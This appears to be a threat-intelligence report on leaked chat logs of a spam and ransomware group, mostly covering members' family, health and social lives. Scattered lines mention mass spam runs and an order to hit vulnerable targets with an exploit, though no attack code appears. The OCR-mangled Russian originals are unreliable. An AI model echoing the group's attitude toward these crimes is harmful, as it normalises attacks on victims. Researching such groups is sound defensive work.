@usernamegg:matrix.bestflowers247.online, Maybe
we'll send more while it's still clean?

2023-12-20 15:37:41,
@usernamegg:matrix.bestflowers247.online, 500—
600k, 500-600k, 500-600k.

2023-12-20 15:37:48,
@usernamegg:matrix.bestflowers247.online, Anyway,
soon we'll leave for the holidays.

2023-12-20 15:37:52,
@usernamegg:matrix.bestflowers247.online, And we'll
be gathering strength.

Original Text

2023-12-20 13:46:39,
@usernamegg:matrix.bestflowers247.online, nowen
cnam

[omitted]

2023-12-20 13:52:01,
@lapa:matrix.bestflowers247.online, 140k ywwn
2023-12-20 13:52:05,
@lapa:matrix.bestflowers247.online, * 140k ywno
[omitted]

2023-12-20 14:06:01,
@lapa:matrix.bestflowers247.online, 290k ywwno
[omitted]

2023-12-20 14:15:31,
@lapa:matrix.bestflowers247.online, 400k ywno,
CTOMHY, CAeNato eLle COKCOB Aft HOChl

[omitted]

2023-12-20 15:29:08,
@lapa:matrix.bestflowers247.online, ywno 300k
2023-12-20 15:29:10,
@lapa:matrix.bestflowers247.online, no toce
[omitted]

2023-12-20 15:29:18,
@lapa:matrix.bestflowers247.online, 6yay ctonats,
Maso ue NpuLLIo

[omitted]

2023-12-20 15:37:33,
@usernamegg:matrix.bestflowers247.online, moxet
eLle LWaem rnoka yncro?

2023-12-20 15:37:41,
@usernamegg:matrix.bestflowers247.online, 500-
600k, 500-600K, 500-600k

2023-12-20 15:37:48,
@usernamegg:matrix.bestflowers247.online, ckopo Ha
npa3AHVKM BCE PaBHO YXOANM

2023-12-20 15:37:52,
@usernamegg:matrix.bestflowers247.online, n 6yaem
KOMWUTb CUJIbI

Conversations reveal spam distribution plans for 500,000-600,000 messages alongside statements about

upcoming vacations. Decisions to proceed with mass distribution relied on "still clean" sending infrastructure,
demonstrating pre-vacation operational patterns for spam campaigns.
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Personal Matters: Family and Friend Discussions

Dispute with gg's Wife

Translated

2023-11-22 18:09:13,
@usernamegg:matrix.bestflowers247.online, | once
set up a tren.

2023-11-22 18:09:17,
@usernamenn:matrix.bestflowers247.online, )))
2023-11-22 18:09:19,
@usernamegg:matrix.bestflowers247.online, We were
still living back in our homeland.

2023-11-22 18:09:35,
@usernamegg:matrix.bestflowers247.online, On the
6th floor without an elevator, well you remember.
2023-11-22 18:09:45,
@usernamenn:matrix.bestflowers247.online, Yeah.
2023-11-22 18:09:52,
@usernamegg:matrix.bestflowers247.online, | came
home and my wife threw a tantrum, she found out
something again about my escapades.

2023-11-22 18:09:59,
@usernamegg:matrix.bestflowers247.online, As a
result she ended up in the hallway.

2023-11-22 18:10:07,
@usernamenn:matrix.bestflowers247.online, ))
2023-11-22 18:10:10,
@usernamenn:matrix.bestflowers247.online, HARSH.
2023-11-22 18:10:17,
@usernamegg:matrix.bestflowers247.online, Shouting
“He's a DRUG ADDICT."

Original Text

2023-11-22 18:09:13,
@usernamegg:matrix.bestflowers247.online, s kak 1o
TPeH cTaBuA

2023-11-22 18:09:17,
@usernamenn:matrix.bestflowers247.online, )))
2023-11-22 18:09:19,
@usernamegg:matrix.bestflowers247.online, Mbl xuan
eLe Ha poanHe

2023-11-22 18:09:35,
@usernamegg:matrix.bestflowers247.online, Ha 6Mm
aTaxe 6e3 mdTa, Hy Tbl MOMHULb

2023-11-22 18:09:45,
@usernamenn:matrix.bestflowers247.online, ara
2023-11-22 18:09:52,
@usernamegg:matrix.bestflowers247.online, s
NpULLEN JOMOW 1 MHE XX€eHa 3aKaTuh/a CKaHan Hy Tam
YTO TO OMATb Y3HaNa NPO MOU MOXOXAEHWS
2023-11-22 18:09:59,
@usernamegg:matrix.bestflowers247.online, B utore
OHa OKaszanacb B Kopuaope

2023-11-22 18:10:07,
@usernamenn:matrix.bestflowers247.online, ))
2023-11-22 18:10:10,
@usernamenn:matrix.bestflowers247.online,
XXOOOCTKO

2023-11-22 18:10:17,
@usernamegg:matrix.bestflowers247.online, kpnua
"oH HAPKOMAH"

A member shared past marital conflict experiences, which colleagues received as humorous anecdotes. The

discussion attributed the conflict to discovered infidelity, describing an incident where the spouse fled to the

hallway. These exchanges demonstrated patterns of personal experience sharing within the group.
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Advice on Talking with Women

Translated

2024-04-18 10:56:03,
@usernamegg:matrix.bestflowers247.online, The main
thing is to stay yourself and don’t put on an act.
2024-04-18 10:56:08,
@usernamegg:matrix.bestflowers247.online, Talk to
her about intelligent topics.

2024-04-18 10:56:26,
@usernamegg:matrix.bestflowers247.online, A man
should be valued for his mind.

2024-04-18 10:56:33,
@usernamegg:matrix.bestflowers247.online, They
love with their ears.

Original Text

2024-04-18 10:56:03,
@usernamegg:matrix.bestflowers247.online, rnaBHoe
OCTaBalca caMvM COHOM N HNUYEro He CTPOW
2024-04-18 10:56:08,
@usernamegg:matrix.bestflowers247.online,
MOroBOPW C HeW Ha YMHble TEMbI

2024-04-18 10:56:26,
@usernamegg:matrix.bestflowers247.online, My>xunHy
[OJIKHBI LLleHWUTb 3a ero ym

2024-04-18 10:56:33,
@usernamegg:matrix.bestflowers247.online, oHn
NO6AT ywamm

Conversational advice emphasized intellectual topics and sincere interaction for positive impressions with

women. The discussion included the Russian expression ‘women love with their ears,” reflecting gg's belief that

eloquent words and intellectual conversation influenced women emotionally.
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Female Visitor

Translated

2024-02-07 17:56:23,
@usernamegg:matrix.bestflowers247.online, Thanks
to your idea, such a cutie came to me this weekend
from your server capital.

2024-02-07 17:56:26,
@usernamegg:matrix.bestflowers247.online, | can
send photos.

2024-02-07 17:56:30,
@usernamegg:matrix.bestflowers247.online,
Absolutely amazing.

2024-02-07 17:56:35,
@usernamegg:matrix.bestflowers247.online, Such a
sweetheart there.

Original Text

2024-02-07 17:56:23,
@usernamegg:matrix.bestflowers247.online,
6aarofapv TBOEW UAEN KO MHE B BbIXM C TBOEN
CepBepPHO CTOAMLbI Takasi Masiblllka npuexana
2024-02-07 17:56:26,
@usernamegg:matrix.bestflowers247.online, mory
boTkm npucnaTb

2024-02-07 17:56:30,
@usernamegg:matrix.bestflowers247.online, axyeetb
npocTo

2024-02-07 17:56:35,
@usernamegg:matrix.bestflowers247.online, Tam
Takas Muiayka

Private conversations show a member's introduction to a woman through colleague referrals and advice.
Comments suggest her appearance aligned with his preferences.

Discussing Impressions of a TV Drama

Translated
2023-12-07 17:24:10,

@usernamecc:matrix.bestflowers247.online, | watched

episode 6. Intense. Felt really sorry for the girl.
2023-12-07 17:24:18,
@usernamegg:matrix.bestflowers247.online, Yeah.
2023-12-07 17:24:32,
@usernamegg:matrix.bestflowers247.online, Did she
go out the window?

2023-12-07 17:24:37,
@usernamegg:matrix.bestflowers247.online, | didn't
understand at the end anymore.

2023-12-07 17:24:44,
@usernamegg:matrix.bestflowers247.online, Like
shame.

2023-12-07 17:24:49,
@usernamegg:matrix.bestflowers247.online, But she
pushed back really hard.

2023-12-07 17:24:53,
@usernamegg:matrix.bestflowers247.online,
Everything would have been fine.

2023-12-07 17:25:05,
@usernamegg:matrix.bestflowers247.online, Her
parents should have supported her, but they messed
her up with nonsense.
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Original Text

2023-12-07 17:24:10,
@usernamecc:matrix.bestflowers247.online,
NMOCMOTpPEN A CepUIO 6. XXOCTKO. AEBKY XaaKo nusgaeL,
2023-12-07 17:24:18,
@usernamegg:matrix.bestflowers247.online, aa
2023-12-07 17:24:32,
@usernamegg:matrix.bestflowers247.online, oHa
BbILL/IA B OKHO?

2023-12-07 17:24:37,
@usernamegg:matrix.bestflowers247.online, B koHLe
He MOHAN yXxe

2023-12-07 17:24:44,
@usernamegg:matrix.bestflowers247.online, nosop
TMna

2023-12-07 17:24:49,
@usernamegg:matrix.bestflowers247.online, Tak T0
NporHana oHa XecTko

2023-12-07 17:24:53,
@usernamegg:matrix.bestflowers247.online, Bce
HOPManbHO 6b110 Obl

2023-12-07 17:25:05,
@usernamegg:matrix.bestflowers247.online,
POANTENN JOKHBI OblNN NOAAEPXKATb @ OHWU XyNHHO
nporHanu e



2023-12-07 17:25:18,
@usernamecc:matrix.bestflowers247.online, Well, like
she was standing on the window, either she went out
or it'll be clear in the next episode... | think she did.
Her parents, of course, instead of supporting her.
2023-12-07 17:25:31,
@usernamecc:matrix.bestflowers247.online, Yeah
yeah... her parents were completely indifferent.

2023-12-07 17:25:18,
@usernamecc:matrix.bestflowers247.online, Hy TMna
CTOfNA Ha OKHe, MMbOo BbIVAET N0 B CleayroLLen
cepun ByAeT NOHATHO.. ;yMato BbILLAA. POAUTENM
KOHEeYHO Y Hee, HeT YTobbl NoaaepkaTb
2023-12-07 17:25:31,
@usernamecc:matrix.bestflowers247.online, aa aa..
pPOANTENN MaKCMMaNbHO Be3pasnnyHble

Members discussed TV dramas and shared viewing impressions. Conversations explored values regarding

parental support for children.

Complaining About a Close Female Friend Seeking a Serious Relationship

Translated

2024-06-13 19:22:33,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> So
how are things with you? Here it's some kind of fuss,
some kind of serious talks.

2024-06-13 19:22:39,
@usernameyy:matrix.bestflowers247.online, | don't
understand at all what she wants.

2024-06-13 19:22:49,
@usernamegg:matrix.bestflowers247.online, Who?
2024-06-13 19:22:51,
@usernamegg:matrix.bestflowers247.online, Her?
2024-06-13 19:22:54,
@usernameyy:matrix.bestflowers247.online, Yeah.
2024-06-13 19:23:19,
@usernamegg:matrix.bestflowers247.online, Well,
that's normal.

2024-06-13 19:23:25,
@usernamegg:matrix.bestflowers247.online, Her age
is catching up with her.

[omitted]

2024-06-13 19:24:00,
@usernamegg:matrix.bestflowers247.online, *She
needs a serious relationship.

2024-06-13 19:24:06,
@usernameyy:matrix.bestflowers247.online, And also,
apparently, someone who will pay for everything, |
still don't fully get it 3))

2024-06-13 19:24:11,
@usernamegg:matrix.bestflowers247.online, She'll be
talking about that more and more.

Original Text

2024-06-13 19:22:33,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Hy kak
Tam y Teba gena? TyT cyeTa Kakas TO, pa3roBopbl
Kakue TO cepbesHble

2024-06-13 19:22:39,
@usernameyy:matrix.bestflowers247.online, Hnue He
NMOHMMato Ye Xxo4yeT

2024-06-13 19:22:49,
@usernamegg:matrix.bestflowers247.online, kto?
2024-06-13 19:22:51,
@usernamegg:matrix.bestflowers247.online, oHa?
2024-06-13 19:22:54,
@usernameyy:matrix.bestflowers247.online, ara
2024-06-13 19:23:19,
@usernamegg:matrix.bestflowers247.online, Hy 310
HOPMabHO

2024-06-13 19:23:25,
@usernamegg:matrix.bestflowers247.online, y Hee
BO3pacT NoAXnMmaeT

[omitted]

2024-06-13 19:24:00,
@usernamegg:matrix.bestflowers247.online, * el
HY>XHbl Cepbe3/Hble OTHOLLEHWS

2024-06-13 19:24:06,
@usernameyy:matrix.bestflowers247.online, a elue,
BWAMMO, TOT, KTO ByAeT onnaunBaTh BCE, A eLle He 40
KOHLA rMoHsan))

2024-06-13 19:24:11,
@usernamegg:matrix.bestflowers247.online, oHa
6yzaeT 06 3ToM Bce bonblue

34



2024-06-13 19:24:22, 2024-06-13 19:24:22,

@usernamegg:matrix.bestflowers247.online, > @usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> And <@usernameyy:matrix.bestflowers247.online> a eLue,
also, apparently, someone who will pay for BMAWMO, TOT, KTO ByAeT oniayvmBaThb BCE, 51 eLe He A0
everything, | still don't fully get it :)) That goes without = koHLa noHsn)) 3To camo cobol

saying. 2024-06-13 19:24:38,

2024-06-13 19:24:38, @usernamegg:matrix.bestflowers247.online, a kak bl
@usernamegg:matrix.bestflowers247.online, What did = xoten

you expect. 2024-06-13 19:24:45,

2024-06-13 19:24:45, @usernameyy:matrix.bestflowers247.online, Hndwra,
@usernameyy:matrix.bestflowers247.online, No way,  3To Maxopka atoTas, s He NOTAHY

she’s a total high-maintenance girl, | can't handle 2024-06-13 19:25:02,

that. @usernamegg:matrix.bestflowers247.online, Hy Toraa
2024-06-13 19:25:02, Kandk

@usernamegg:matrix.bestflowers247.online, Well
then, enjoy yourself.

This exchange reflects differing perspectives on romantic relationships and positional distance between
members. gg views partner expectations for "serious relationships" as natural age-related progression, showing
no particular concern. Meanwhile, yy perceives "celebrity lifestyle" and "payment demands" as burdens,
expressing confusion about status differences. Statements like "that's natural" and “just enjoy it" from gg suggest
detached acceptance rather than empathy or comfort. The interaction reveals compartmentalized personal
relationships lacking emotional connection rather than trust-sharing between leaders.
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Conversations about Health

Health and Daily Life #1

Translated

2024-05-03 09:01:51,
@usernamegg:matrix.bestflowers247.online, In the
morning | take the kids to kindergarten and school,
then the gym.

2024-05-03 09:01:55,
@usernamegg:matrix.bestflowers247.online, And to
work by 10.

2024-05-03 09:01:58,
@usernamegg:matrix.bestflowers247.online,
Consistent.

2024-05-03 09:02:17,
@usernamegg:matrix.bestflowers247.online, *In the
morning | take the kids to kindergarten and school,
then | go to the gym.

2024-05-03 09:02:22, @nickolas:talks.icu, Discipline :-)
2024-05-03 09:02:30,
@usernamegg:matrix.bestflowers247.online, D —
Discipline. S — Stability :)

2024-05-03 09:02:49, @nickolas:talks.icu, Yeah :) But |
can't wake up early since | came here, | stay up until
about 3 a.m.

2024-05-03 09:03:11,
@usernamegg:matrix.bestflowers247.online, Well,
that's normal.

2024-05-03 09:03:47, @nickolas:talks.icu, I've been
skipping the gym for the second week =) | also have
morning workouts, and damn, just waking up and
running straight to training is kind of tough. | want to
warm up slowly, have a snack :)

[omitted]

2024-05-03 09:04:25,
@usernamegg:matrix.bestflowers247.online, Did you
lose a few kilos?

2024-05-03 09:04:39, @nickolas:talks.icu, Lost —
gained — lost again )

2024-05-03 09:04:52,
@usernamegg:matrix.bestflowers247.online, Yeah,
yesterday there was one step you needed to take.
2024-05-03 09:04:58, @nickolas:talks.icu, It's all about
diet, but | love to eat and drink cola :)

Original Text

2024-05-03 09:01:51,
@usernamegg:matrix.bestflowers247.online, c ytpa
AeTel B CAANKM W LLKOJbI MOTOM 3an

2024-05-03 09:01:55,
@usernamegg:matrix.bestflowers247.online, n Ha
paboty k 10

2024-05-03 09:01:58,
@usernamegg:matrix.bestflowers247.online,
cTabunbHO

2024-05-03 09:02:17,
@usernamegg:matrix.bestflowers247.online, * c ytpa
AeTei B CAAMKM 1 LLKOJbI, MOTOM 5 B 3aA
2024-05-03 09:02:22, @nickolas, talks.icu,
CWUCTEMHOCTb :-)

2024-05-03 09:02:30,
@usernamegg:matrix.bestflowers247.online, c -
CTabunbHOCTL )

2024-05-03 09:02:49, @nickolas, talks.icu, ara) a a uet
PaHO He MOTy MPOCHYTbCA KaK MPULLEN ClOAa,
3aCMXXMBAOCh TYT YacoB A0 3X.

2024-05-03 09:03:11,
@usernamegg:matrix.bestflowers247.online, Hy 310
HOPManbHO

2024-05-03 09:03:47, @nickolas, talks.icu,
NPOry/aAnBaro 3a y>Ke BTOPYH Heaenro =) Y MeHs
TOXE MO YyTpaM TPEHepPOBKM, 1N N3AL, NPOCTO
npocbinaewbcsa U 6exaTtb cpasy Ha TPeHepoBKy Kak
TO TAXENOBaTO.XOUeTCA packayaTbCs, NepeKkyCcuTb )
[omitted]

2024-05-03 09:04:25,
@usernamegg:matrix.bestflowers247.online, bl
CcOpPOCKN HECKOIbKO KI?

2024-05-03 09:04:39, @nickolas, talks.icu, Cbpocun -
Habpan- cbpocun )

2024-05-03 09:04:52,
@usernamegg:matrix.bestflowers247.online, aa,
BUYEpPa OAMH LUar Hy>HO 6bino caenaTb

2024-05-03 09:04:58, @nickolas, talks.icu, Bce geno B
nnTaHnK, a 8 A6 MO XPaTb Y KOAIOW BbINUTb )
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Group members maintain daily routines and health management practices. Conversations about school drop-

offs and gym workouts reveal conventional lifestyle patterns alongside ransomware operations.

Health and Daily Life #2

Translated

2023-12-12 22:44:55,
@usernamegg:matrix.bestflowers247.online, Here the
child got sick, and in the morning | need to let my
wife go somewhere.

2023-12-12 22:45:18,
@usernamess:matrix.bestflowers247.online, Family
hustle (((

2023-12-12 22:45:22,
@usernamegg:matrix.bestflowers247.online, Will you
take the driver?

2023-12-12 22:45:45,
@usernamess:matrix.bestflowers247.online, He'll take
me to the notary. Tomorrow he has a CT scan at the
hospital.

2023-12-12 22:45:58,
@usernamegg:matrix.bestflowers247.online,
Hopefully | won't catch anything myself, ate onions
and garlic, lying here smelling fragrant :)

Original Text

2023-12-12 22:44:55,
@usernamegg:matrix.bestflowers247.online, Tyt
pebeHok 3abos1en a € yTpa HaZo XOHYLLKY KyAa TO
OTNYCTUTb

2023-12-12 22:45:18,
@usernamess:matrix.bestflowers247.online, cemeiHas
cyeta (((

2023-12-12 22:45:22,
@usernamegg:matrix.bestflowers247.online,
BOAWTENS BO3MeELL?

2023-12-12 22:45:45,
@usernamess:matrix.bestflowers247.online, oH MeHs
[0 HoTapuyca goBe3eT. eMy Ha KT 3aBTpa B
60NbHNYUKY

2023-12-12 22:45:58,
@usernamegg:matrix.bestflowers247.online, camomy
6bl He MOAXBaTUTb HUYErO, IyKa HAeCs N YeCHOKa
nexy 6narayxaro )

Members discuss family matters and scheduling challenges in their daily lives. Conversations cover typical

domestic concerns including children's illnesses, spouse transportation, and driver arrangements. Medical topics
such as CT scans also appear, indicating health-related issues among participants. These exchanges reveal

personal and routine aspects of group members' lives.
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Health and Daily Life #3

Translated

2024-06-04 16:12:07,
@usernamegg:matrix.bestflowers247.online, You'll
automate this process faster.

2024-06-04 16:12:30,
@usernameyy:matrix.bestflowers247.online, Does this
need to be done today?

2024-06-04 16:12:31,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> sent a
file. Here's the exploit.

2024-06-04 16:12:40,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> Does
this need to be done today? Of course.

2024-06-04 16:12:42,
@usernamegg:matrix.bestflowers247.online, Now.
2024-06-04 16:12:52,
@usernamegg:matrix.bestflowers247.online, You
need to look for vulnerable targets and hit them with
the exploit.

2024-06-04 16:13:08,
@usernamegg:matrix.bestflowers247.online, I'm also
tired and | still need to go to the gym.

2024-06-04 16:13:12,
@usernamegg:matrix.bestflowers247.online, At home,
my wife and kids.

2024-06-04 16:13:22,
@usernamegg:matrix.bestflowers247.online, Plus my

girlfriend came, she’'s sitting and waiting for me alone.

2024-06-04 16:13:23,
@usernamegg:matrix.bestflowers247.online, Reverse.
2024-06-04 16:13:27,
@usernamegg:matrix.bestflowers247.online, Tons of
things to do.

2024-06-04 16:13:29,
@usernameyy:matrix.bestflowers247.online, Okay,
okay )

Original Text

2024-06-04 16:12:07,
@usernamegg:matrix.bestflowers247.online, Tbl
HbICTpee aTBOMaTU3MpYeELLb 3TOT NPOLLecC
2024-06-04 16:12:30,
@usernameyy:matrix.bestflowers247.online, ato
CerofHs Hajo caenatb?

2024-06-04 16:12:31,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> sent a
file. BOT cnnaont

2024-06-04 16:12:40,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> 310
CeroAHs HaZlo caenaTtb? KOHEUYHO

2024-06-04 16:12:42,
@usernamegg:matrix.bestflowers247.online, ceiuac
2024-06-04 16:12:52,
@usernamegg:matrix.bestflowers247.online, nckatb
HaZo ysA3BUMble N NPO6MBATL CNJIOATOM
2024-06-04 16:13:08,
@usernamegg:matrix.bestflowers247.online, y meHs
TOXe YCTasoCh M MHe HaZo e3e CropT 3an
2024-06-04 16:13:12,
@usernamegg:matrix.bestflowers247.online, goma
XEeHa 1 aeTn

2024-06-04 16:13:22,
@usernamegg:matrix.bestflowers247.online, natoc
AeBYyLLIKa Npuexan CUANT MEHS XAET OAHa
2024-06-04 16:13:23,
@usernamegg:matrix.bestflowers247.online, pesep
2024-06-04 16:13:27,
@usernamegg:matrix.bestflowers247.online, gen kyuy
2024-06-04 16:13:29,
@usernameyy:matrix.bestflowers247.online, Bc&, Bcé)

Personal discussions during operational planning reveal expressions of fatigue and complex interpersonal

relationships. Members acknowledge family commitments while referencing other romantic connections,
emphasizing work participation despite personal complications. This pattern demonstrates compartmentalization

between duties and private affairs.
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Health and Daily Life #4

Translated

2024-06-20 19:21:23, @lincoln:artronica.rocks, | just
kill 20 minutes.

2024-06-20 19:21:25,
@usernamegg:matrix.bestflowers247.online, |
understand.

2024-06-20 19:21:27,
@usernamegg:matrix.bestflowers247.online, A pain in
the ass.

2024-06-20 19:21:29, @lincoln:artronica.rocks, That's
how | rest when the spam is running.

2024-06-20 19:21:36, @lincoln:artronica.rocks,
Otherwise, by the end of the day my head is already
spinning.

Original Text

2024-06-20 19:21:23, @lincoln:artronica.rocks, npocto
A no 20 MUHYT yburBato

2024-06-20 19:21:25,
@usernamegg:matrix.bestflowers247.online, s
NOHVMato

2024-06-20 19:21:27,
@usernamegg:matrix.bestflowers247.online, remopon
2024-06-20 19:21:29, @lincoln:artronica.rocks, Tak
OTAbIXato Korga cnam naet

2024-06-20 19:21:36, @lincoln:artronica.rocks, a To
roJIoBa yXe Kpyrom nog, KoHeL, AHs

The conversation reveals signs of significant mental fatigue after daily activities. Continuous stress and cognitive
load from complex tasks indicate advancing psychological exhaustion.

Health and Daily Life #5

Translated

2023-12-06 13:49:08,
@cameron777:matrix.bestflowers247.online, Just
yesterday things went badly, | hardly slept again...

Original Text

2023-12-06 13:49:08,
@cameron777:matrix.bestflowers247.online, tolko
vchera xrenogo vishlo ne spal pochti opyat'...

Members report declining sleep quality and insomnia issues. The term "again" indicates recurring problems.
Extended work hours and psychological stress likely contribute to these sleep disorders.

Health and Daily Life #6

Translated

2024-04-18 11:07:31,
@usernamegg:matrix.bestflowers247.online, One of
mine sat so long that hemorrhoids started acting up.
2024-04-18 11:07:34,
@usernamegg:matrix.bestflowers247.online, | sent
him home.

Original Text

2024-04-18 11:07:31,
@usernamegg:matrix.bestflowers247.online, y meHs
OAVH AOCUAENCA YTO reMopoi nones

2024-04-18 11:07:34,
@usernamegg:matrix.bestflowers247.online,
OTNpaBWa €ro A0MoW

Extended harsh working conditions cause health problems among members. gg responds by sending
symptomatic members home, demonstrating health management practices.



Health and Daily Life #7

Translated Original Text

2024-04-13 20:08:53, 2024-04-13 20:08:53,
@usernamegg:matrix.bestflowers247.online, I'm @usernamegg:matrix.bestflowers247.online,
going to sleep now ) This week was fucking crazy, | = ceiluac cnatb nonay y>e ) Hegens nusgeL, bbina s
squeezed my guys dry like little lemons. CBOWX BbI>XKasl KakK TIMMOHYMKHN

Discussions emphasize excessive workload and severe mental exhaustion. The metaphor of being "squeezed like
a lemon" visually depicts complete energy depletion. These descriptions illustrate how excessive demands create
organizational burnout.

Health and Daily Life #8

Translated Original Text

2024-03-21 06:12:03, 2024-03-21 06:12:03,
@usernamegg:matrix.bestflowers247.online, They @usernamegg:matrix.bestflowers247.online, Hoc
fixed my damn nose. ebaTb caenann MHe

2024-03-21 06:12:11, 2024-03-21 06:12:11,
@usernamegg:matrix.bestflowers247.online, It's @usernamegg:matrix.bestflowers247.online, gbiwunt
breathing. 2024-03-21 06:12:17,

2024-03-21 06:12:17, @usernamenn:matrix.bestflowers247.online, nyuwe
@usernamenn:matrix.bestflowers247.online, Is it cTan AblaTh?

breathing better? 2024-03-21 06:12:26,

2024-03-21 06:12:26, @usernamegg:matrix.bestflowers247.online,
@usernamegg:matrix.bestflowers247.online, The npaBas 4acTb

right side. 2024-03-21 06:13:07,

2024-03-21 06:13:07, @usernamenn:matrix.bestflowers247.online, MmHe

@usernamenn:matrix.bestflowers247.online, They CKa3zannm YTo y MeHA BCe HOPM C Neperopoakamu,
told me my septum is fine, but still | breathe poorly = Ho npw 3TOM 5 AbIWY NAOXO M3 3a HaCMOpKa TO

because of a runny nose, sometimes the left side, NeBasi TO NpaBas CTOPOHa
sometimes the right. 2024-03-21 06:13:27,
2024-03-21 06:13:27, @usernamenn:matrix.bestflowers247.online, Ho y

@usernamenn:matrix.bestflowers247.online, But my mMeHs HaCMOPK XpPOHMYECKNI
runny nose is chronic.

Members discuss nasal surgery for breathing improvement and chronic sinusitis issues. Open health discussions
indicate relationships allowing daily concern sharing.
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Health and Daily Life #9

Translated

2024-03-21 10:10:59, @n3auxaxl,
matrix.collectionofmanager.space, | want to rest, not
think about work at all, | think | burned out, | can't
concentrate on the task, everything will be ready by
Monday, I'll be back on Saturday and continue doing
everything

2024-03-21 10:11:18, @n3auxaxl,
matrix.collectionofmanager.space, I'll be back
Saturday morning

[omitted]

2024-03-21 10:50:53, @usernamegg,
matrix.bestflowers247.online, hi

2024-03-21 10:50:54, @usernamegg,
matrix.bestflowers247.online, got it

2024-03-21 10:51:03, @usernamegg,
matrix.bestflowers247.online, do something for your
health

2024-03-21 10:51:07, @usernamegg,
matrix.bestflowers247.online, go for recovery
2024-03-21 10:51:18, @usernamegg,
matrix.bestflowers247.online, you'll feel such a boost)
[omitted]

2024-03-21 12:43:02, @n3auxaxl,
matrix.collectionofmanager.space, like IV drips?
2024-03-21 12:43:22, @n3auxaxl,
matrix.collectionofmanager.space, it's purely
concentration, | read one thing and fuck, immediately
switch to another

2024-03-21 12:43:24, @n3auxaxl,
matrix.collectionofmanager.space, well in the process
2024-03-21 12:43:35, @n3auxaxl,
matrix.collectionofmanager.space, and in the end | go
off the rails, fuck knows where, crazy

2024-03-21 12:44:14, @n3auxaxl,
matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online> do
something for your health I'm thinking maybe go
somewhere in the fresh air, like a forest, something
like that, they say it helps to rest your head

Original Text

2024-03-21 10:10:59, @n3auxax|,
matrix.collectionofmanager.space, MNpueeT, kapoue s
cerozHa v 3aBTpa B odde, xouy OTAOXHYTb, O paboTe
BOObLLE He AyMaTb, a TO BbIropesn Noxosy, He Mory
CKOHLIEHTPUPOBATbCA Ha 3aAaye, B NMOHeAeNbHUK BCe
OyZeT rotToBO, BEPHYCb B Cy660TY 1 NpOAo/IXy BCe
Aenatb

2024-03-21 10:11:18, @n3auxaxl,
matrix.collectionofmanager.space, byay B cy660T1Y
yTpoMm

[omitted]

2024-03-21 10:50:53, @usernamegg,
matrix.bestflowers247.online, npuset

2024-03-21 10:50:54, @usernamegg,
matrix.bestflowers247.online, npuHsn

2024-03-21 10:51:03, @usernamegg,
matrix.bestflowers247.online, caenain uto HMbYAL MO
340poBbto cebe

2024-03-21 10:51:07, @usernamegg,
matrix.bestflowers247.online, Ha BocTaHOB/EHWE
nonaellb

2024-03-21 10:51:18, @usernamegg,
matrix.bestflowers247.online, nouyBcTByeLlb Kakow
noavem byaet )

[omitted]

2024-03-21 12:43:02, @n3auxaxl,
matrix.collectionofmanager.space, TMNo kanenbHULbI?
2024-03-21 12:43:22, @n3auxaxl,
matrix.collectionofmanager.space, TyT uncro
KOHLLeHTpaLus, YnTaro 3a OAHO 1 H6aATb TyNo
nepek/toYaloch Cpasy Ha apyroe

2024-03-21 12:43:24, @n3auxaxl,
matrix.collectionofmanager.space, Hy B npouecce
2024-03-21 12:43:35, @n3auxax|,
matrix.collectionofmanager.space, n B utore yxoxy
Xy’ NOMMM B KaKyrO CTEMb XeCTb

2024-03-21 12:44:14, @n3auxaxl,
matrix.collectionofmanager.space, >
<@usernamegg:matrix.bestflowers247.online>
cAenan 4To HMBYAb MO 340POBbLI0 cebe Aymaro MoXeT
KyZa TO BblexaTb Ha CBEXWI BO34yX, TUMO /IeC, YTO TO
Takoe, roBOPAT MOMOraeT OTAOXHYTb rON0BOM

Members experience mental fatigue and concentration difficulties, prompting health recovery advice exchanges.

Discussions include nature-based rest options, indicating organizational recognition of mental health



importance. The need for psychological stability to maintain sustained productivity becomes evident. Extended

work hours create severe exhaustion regardless of operational context, demonstrating universal human

limitations in high-stress environments.

Drug, Substance Use, and Health Status

Translated

2023-09-26 17:08:45,
@usernamevv:matrix.bestflowers247.online, yeah, it
would be fucking great to smoke a hookah )))
2023-09-26 17:10:41,
@usernamenn:matrix.bestflowers247.online, need to
catch Timka to unload updates, by now it must have
piled up like crazy

2023-09-26 17:33:37,
@usernamegg:matrix.bestflowers247.online, has it
already started?

2023-09-26 17:33:42,
@usernamegg:matrix.bestflowers247.online, you're
sick

2023-09-26 17:33:45,
@usernamegg:matrix.bestflowers247.online, what
hookah for you

2023-09-26 17:33:48,
@usernamegg:matrix.bestflowers247.online, get well
[omitted]

2023-09-26 17:34:16,
@usernamevv:matrix.bestflowers247.online, well, |
haven't smoked for 2 days already

Original Text

2023-09-26 17:08:45,
@usernamevv:matrix.bestflowers247.online, aa ewe
6bl Kannk NOKypuTb 3aebucb bbino Hbli )))
2023-09-26 17:10:41,
@usernamenn:matrix.bestflowers247.online, Hy>xHo
TUMKY BbILEMNUTb, YUTO Bbl CHATb C HUM OBHOB/IEHUA
TaM y>xe ebaTb HaBepHO Hakanano ebaaaTtb KaK JOXys
2023-09-26 17:33:37,
@usernamegg:matrix.bestflowers247.online, yxe
Havanocb?

2023-09-26 17:33:42,
@usernamegg:matrix.bestflowers247.online, Tbl e
6oneH

2023-09-26 17:33:45,
@usernamegg:matrix.bestflowers247.online, kakoin
Tebe Kanuk

2023-09-26 17:33:48,
@usernamegg:matrix.bestflowers247.online,
nonpasAsiics

[omitted]

2023-09-26 17:34:16,
@usernamevv:matrix.bestflowers247.online, aak BoT
He Kypro 2 AeHb yxe

An ill member expresses desire for recreational substances despite health issues. A colleague warns against

shisha use, but receives responses suggesting dependency. This pattern indicates possible tobacco addiction.
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Alcohol Consumption and Sleep

Translated

2024-05-25 13:37:23,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> How are you doing? *
Everything's fine, yesterday | relieved some tension in
the evening, drank two shots of cold Absolut for the
first time in two years, and slept soundly.

Original Text

2024-05-25 13:37:23,
@usernamegg:matrix.bestflowers247.online, >
